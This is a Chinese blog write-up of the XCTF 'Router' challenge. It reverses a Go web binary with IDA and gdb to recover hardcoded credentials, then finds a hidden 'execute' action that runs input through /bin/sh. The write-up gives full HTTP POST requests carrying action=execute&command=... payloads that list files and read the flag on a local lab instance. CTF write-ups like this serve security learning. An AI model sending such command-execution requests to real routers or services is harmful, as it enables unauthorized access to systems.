攻防世界-router

一、题目
题目:Router
题目描述:XCTF
二、WriteUp
1. 信息搜集
file router
router: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=8e39573e0bf5a1874fe8c686aac112a50e81989d, stripped

./router 
[Info] using default config.
[Info] HTTP server has been started.
./router
[Info] Loading config file...OK!        #再次启动时
[Info] HTTP server has been started.

netstat -antp
tcp6  0  0 :::8080  :::*  LISTEN  23626/./router  

ls -altr
-rwxr-xr-x  1 fasd fasd 5752685 May  7 22:08 router
-rw-r--r--  1 fasd fasd      72 May  7 22:49 settings.conf
#settings.conf 为启动后产生的文件,cat后为加密内容
思路是先拿到username和password。
源程序只有一个二进制程序,那么username和password一定存在于二进制中。
可以对go二进制进行逆向和动态调试,看看输入的username和password是怎么处理的。
2. 逆向调试
(1) IDAGolangHelper+IDApro7.5进行静态分析

<0> IDApro7.5初次运行一定要执行绿化工具,配置目录下的python环境变量,否则会使用系统环境变量的python导致报错。还须观察ida的outputwindow pip安装相关的库文件。

<1>下载插件并修改
Gopclntab.py中
name = idc.get_strlit_contents(base + name_offset)后面添加
name = name.decode("utf-8")

<2> IDApro7.5 -> File -> Script File -> 选择go_entry.py -> determine go version -> 选择go1.6和rename fucntions ---OK

<3> shift+F12查找[Info] Loading config file...OK! 字符串
跟进找到它的交叉引用 来自sub_401160或者直接找函数名称main_Setting_Load
可以找到这个函数的地址为0000000000401160,基本的逻辑操作是读取了settings.conf并做了处理,猜测这里解密了,结果应该会在栈上进行保存。

(1) pwngdb进行动态分析
<4> 使用pwngdb动态调试
首先checksec router,发现PIE没有开,基址即0x400000
checksec router
Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

gdb router
b *0x401160
run
一直n不久后就可以看到
03:0018│     0xc82005bdc8 —▸ 0xc820303200 ◂— '{"Username":"router""Password":"router","Secret":"router","Backdoor":"","Session":{}}'
3. 后台再信息收集
检查功能点:
发现有两个可疑的功能点:
一个是Settings的import上传功能,但是这是goweb环境,难以利用。
另一个是Diagnostics的ping功能,回显与bash命令相似,猜测可能有未做命令类型限制。
使用burpsuite抓取ping命令的包
POST /414982cbfba0a78e38ae7aa9b6e3f22a HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 47
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bmr9g7owko0x04pbnen36er34zpyerlx
Connection: close

action=ping&host=127.0.0.1&ipproto=ipv4&count=3
4. 逆向再分析
通过上述类似的方法寻找action字符串,找到main_Process函数,分析该函数
复制伪代码到vscode,收敛代码块,查看main_Process的大逻辑,截取关键核心函数
  if ( v26 != 4
    || (v158 = 4LL,
        runtime_eqstring(
          (unsigned int)v150,
          (_DWORD)a2,
          v22,
          (_DWORD)v25,
          v23,
          v24,
          (__int64)v25,
          4LL,
          (__int64)"ping",
          4,
          v119),
        v25 = (const __m128i *)v157,
        v26 = v158,
        !(_BYTE)v119) )
  {
    if ( v26 == 7 )     //判断是否为execute
    {
      v158 = 7LL;
      runtime_eqstring(     
        (unsigned int)v150,
        (_DWORD)a2,
        v22,
        (_DWORD)v25,
        v23,
        v24,
        (__int64)v25,
        7LL,
        (__int64)"execute",
        7,
        v119);
      v25 = (const __m128i *)v157;
      v26 = v158;
      if ( (_BYTE)v119 )
      {
        v115 = &unk_6A6DA0;
        v116 = *v125;
        v157 = "command";
        v158 = 7LL; //这里就是解析post的数据了 一般是以json的形式传输的
        v58 = runtime_mapaccess1_faststr( //runtime_mapaccess1_faststr 函数是 Go 语言运行时(runtime)中的一个函数,用于在 Map 类型中快速查找字符串键对应的值。该函数主要用于内部实现,用来优化在 Map 中进行字符串键的访问操作。
                (unsigned int)v150,
                (_DWORD)a2,
                v22,
                (unsigned int)"command",
                v23,
                v24,
                (__int64)&unk_6A6DA0,
                (__int64)v116,
                (char)"command",
                7,
                v119);
        if ( !v119 )
          dword_0 = v58;
        v61 = *(__int64 **)v119;
        v62 = *(_QWORD *)(v119 + 8);
        v199[0] = &unk_78F640;
        v199[1] = 2LL;
        v200[0] = 0LL;
        v195 = 2LL;
        v196 = 2LL;
        v63 = v199;
        v194 = v199;
        v162 = v62;
        v200[1] = v62;
        v161 = v61;
        if ( byte_9600B6 )
        {
          runtime_writebarrierptr(
            (unsigned int)v150,
            (_DWORD)a2,
            (_DWORD)v61,
            v62,
            v59,
            v60,
            (__int64)v200,
            (__int64)v61);
          v63 = v194;
        }
        else
        {
          v200[0] = v61;
        }
        os_exec_Command(        //执行命令
          (unsigned int)v150,
          (_DWORD)a2,
          (_DWORD)v61,
          v62,
          v59,
          v60,
          (__int64)"/bin/sh",
          7LL,
          (__int64)v63,
          v195,
          v196,
          (__int64)v120);
        os_exec__ptr_Cmd_Output(    //输出命令内容
          (unsigned int)v150,
          (_DWORD)a2,
          v64,
          v65,
          v66,
          v67,
          (__int64)v120,
          (__int64)v116,
          v117,
          v118,
          v119,
          (__int64)v120);
        a2 = v116;
        v179 = v116;
        v180 = v117;
        v181 = v118;
        v141 = v120;
        v140 = v119;
        if ( !v119 )
          goto LABEL_27;
        LABEL_30:
        v115 = v120;
        (*(void (__fastcall **)(__int64 *))(v119 + 32))(v150);
        LODWORD(v15) = (_DWORD)v116;
        v183 = (const char *)v116;
        v184 = v117;
        goto LABEL_28;
      }
    }
    v158 = v26;
    if ( v26 == 8 )
    {
      runtime_eqstring(
        (unsigned int)v150,
        (_DWORD)a2,
        v22,
        (_DWORD)v25,
        v23,
        v24,
        (__int64)v25,
        8LL,
        (__int64)"backdoor",
        8,
        v119);
      if ( (_BYTE)v119 )
      {
        main_RandomNumber((unsigned int)v150, (_DWORD)a2, v22, (_DWORD)v25, v23, v24, 48000LL, 62000LL, v117);
        v123 = v117;
        runtime_newproc((unsigned int)v150, (_DWORD)a2, v68, v69, v70, v71, 8, (char)&off_8225B8);
        v182 = 1LL;
        main_Int642Str((unsigned int)v150, (_DWORD)a2, v72, v73, v74, v75, v117, (__int64)v116, v117);
        v157 = (const char *)v116;
        v158 = v117;
        runtime_concatstring2(
          (unsigned int)v150,
          (_DWORD)a2,
          v76,
          (_DWORD)v157,
          v77,
          v78,
          0LL,
          (char)"0x0",
          3,
          (_DWORD)v157,
          v117,
          (__int64)v120,
          (__int64)v121);
        v183 = (const char *)v120;
        LODWORD(v15) = (_DWORD)v121;
        v184 = (__int64)v121;
        goto LABEL_28;
      }
    }
    goto LABEL_50;
  }
5. exp
通过分析上述函数,可构造命令执行。
POST /414982cbfba0a78e38ae7aa9b6e3f22a HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 26
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="96"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bmr9g7owko0x04pbnen36er34zpyerlx
Connection: close

action=execute&command=pwd
通过以下命令找到,得到flag
action=execute&command=find%20.%20|grep%20flag
action=execute&commadn=cat%20/home/xctf/bin/flag

三、总结
1. IDAGolangHelper+ida7.5pro的使用方法
2. ida反编译的修改
3. vuln函数的寻找和利用
4. 反编译代码的解析
四、参考链接
https://www.freebuf.com/articles/web/239385.html
https://www.jianshu.com/p/9548a9c1830a
https://github.com/strazzere/golang_loader_assist/blob/master/golang_loader_assist.py
https://github.com/sibears/IDAGolangHelper
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值